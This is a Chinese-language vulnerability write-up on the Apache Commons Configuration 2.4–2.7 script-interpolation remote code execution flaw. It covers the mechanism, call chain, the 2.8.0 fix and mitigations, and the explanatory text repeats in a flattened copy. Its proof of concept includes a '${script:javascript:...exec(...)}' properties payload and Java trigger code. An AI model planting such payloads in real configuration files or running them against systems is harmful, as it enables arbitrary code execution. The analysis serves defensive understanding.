Apache Commons Configuration 远程代码执行
字数 1251 2025-08-27 12:33:48

Apache Commons Configuration 远程代码执行漏洞分析

漏洞概述

Apache Commons Configuration 是一个用于处理配置文件的Java库。在2.4至2.7版本中,该库存在一个远程代码执行漏洞,攻击者可以通过构造特殊的插值字符串,利用内置的脚本解析功能执行任意代码。

影响范围

  • 受影响版本:2.4.x - 2.7.x
  • 修复版本:2.8.0及以上

漏洞原理

插值字符串功能

Apache Commons Configuration支持变量插值功能,允许在配置值中引用其他配置项。例如:

application.name = Killer App
application.version = 1.6.2
application.title = ${application.name} ${application.version}

application.title会被解析为"Killer App 1.6.2"。

危险的Lookup实现

问题出在默认的Lookup实现中,特别是ScriptStringLookup类。该Lookup允许通过script:前缀执行脚本代码。

漏洞触发点

当解析包含${script:javascript:...}格式的配置值时,库会调用JavaScript引擎执行冒号后的代码:

  1. 配置值被传递给ConfigurationInterpolator#resolve方法
  2. 解析器识别script:前缀
  3. 调用ScriptStringLookup.lookup()方法
  4. 该方法使用eval()函数执行传入的脚本

漏洞复现

环境准备

  1. 使用Apache Commons Configuration 2.4-2.7版本
  2. 创建一个properties配置文件(如my.properties)

恶意配置文件

创建包含以下内容的配置文件:

app.name=${script:javascript:java.lang.Runtime.getRuntime().exec("open -a Calculator")}

漏洞触发代码

Configurations configs = new Configurations();
try {
    PropertiesConfiguration properties = configs.properties(new File("my.properties"));
    String string = properties.getString("app.name"); // 触发漏洞
} catch (ConfigurationException e) {
    e.printStackTrace();
}

其他复现方式

  1. 直接调用ScriptLookup:
DefaultLookups script = DefaultLookups.SCRIPT;
Lookup lookup = script.getLookup();
lookup.lookup(cmd);
  1. 构造Interpolator对象:
InterpolatorSpecification spec = new InterpolatorSpecification.Builder()
    .withPrefixLookups(ConfigurationInterpolator.getDefaultPrefixLookups())
    .withDefaultLookups(ConfigurationInterpolator.getDefaultPrefixLookups().values())
    .create();
ConfigurationInterpolator interpolator = ConfigurationInterpolator.fromSpecification(spec);
String str = "${script:" + cmd + "}";
interpolator.interpolate(str);

技术分析

关键类分析

  1. ConfigurationInterpolator:

    • 负责解析插值字符串
    • 包含默认的prefix lookups(DEFAULT_PREFIX_LOOKUPS)
  2. ScriptStringLookup:

    • 实现Lookup接口
    • 关键方法lookup()会执行传入的脚本
    • 使用:分割字符串,前半部分为脚本引擎名,后半部分为要执行的代码

漏洞调用链

PropertiesConfiguration.getString()
-> ConfigurationInterpolator.interpolate()
-> ConfigurationInterpolator.resolve()
-> ScriptStringLookup.lookup()
-> ScriptEngine.eval()

修复方案

官方在2.8.0版本中进行了以下修复:

  1. 默认不再包含dns、url和script的Lookup实现
  2. 这些类仍然存在于库中,但需要显式启用才会使用

防护建议

  1. 升级到Apache Commons Configuration 2.8.0或更高版本
  2. 如果无法升级,可以:
    • 禁用危险的Lookup实现
    • 对输入进行严格过滤,防止恶意插值字符串
  3. 审查应用程序中所有使用配置文件的代码,确保不会解析不可信的配置文件

总结

该漏洞源于Apache Commons Configuration过度灵活的插值功能,默认启用了危险的脚本执行能力。攻击者可以通过精心构造的配置文件实现远程代码执行,危害性较高。开发者应及时升级到安全版本,或采取其他缓解措施。

Apache Commons Configuration 远程代码执行漏洞分析 漏洞概述 Apache Commons Configuration 是一个用于处理配置文件的Java库。在2.4至2.7版本中,该库存在一个远程代码执行漏洞,攻击者可以通过构造特殊的插值字符串,利用内置的脚本解析功能执行任意代码。 影响范围 受影响版本:2.4.x - 2.7.x 修复版本:2.8.0及以上 漏洞原理 插值字符串功能 Apache Commons Configuration支持变量插值功能,允许在配置值中引用其他配置项。例如: application.title 会被解析为"Killer App 1.6.2"。 危险的Lookup实现 问题出在默认的Lookup实现中,特别是 ScriptStringLookup 类。该Lookup允许通过 script: 前缀执行脚本代码。 漏洞触发点 当解析包含 ${script:javascript:...} 格式的配置值时,库会调用JavaScript引擎执行冒号后的代码: 配置值被传递给 ConfigurationInterpolator#resolve 方法 解析器识别 script: 前缀 调用 ScriptStringLookup.lookup() 方法 该方法使用 eval() 函数执行传入的脚本 漏洞复现 环境准备 使用Apache Commons Configuration 2.4-2.7版本 创建一个properties配置文件(如my.properties) 恶意配置文件 创建包含以下内容的配置文件: 漏洞触发代码 其他复现方式 直接调用ScriptLookup: 构造Interpolator对象: 技术分析 关键类分析 ConfigurationInterpolator : 负责解析插值字符串 包含默认的prefix lookups(DEFAULT_ PREFIX_ LOOKUPS) ScriptStringLookup : 实现Lookup接口 关键方法 lookup() 会执行传入的脚本 使用 : 分割字符串,前半部分为脚本引擎名,后半部分为要执行的代码 漏洞调用链 修复方案 官方在2.8.0版本中进行了以下修复: 默认不再包含dns、url和script的Lookup实现 这些类仍然存在于库中,但需要显式启用才会使用 防护建议 升级到Apache Commons Configuration 2.8.0或更高版本 如果无法升级,可以: 禁用危险的Lookup实现 对输入进行严格过滤,防止恶意插值字符串 审查应用程序中所有使用配置文件的代码,确保不会解析不可信的配置文件 总结 该漏洞源于Apache Commons Configuration过度灵活的插值功能,默认启用了危险的脚本执行能力。攻击者可以通过精心构造的配置文件实现远程代码执行,危害性较高。开发者应及时升级到安全版本,或采取其他缓解措施。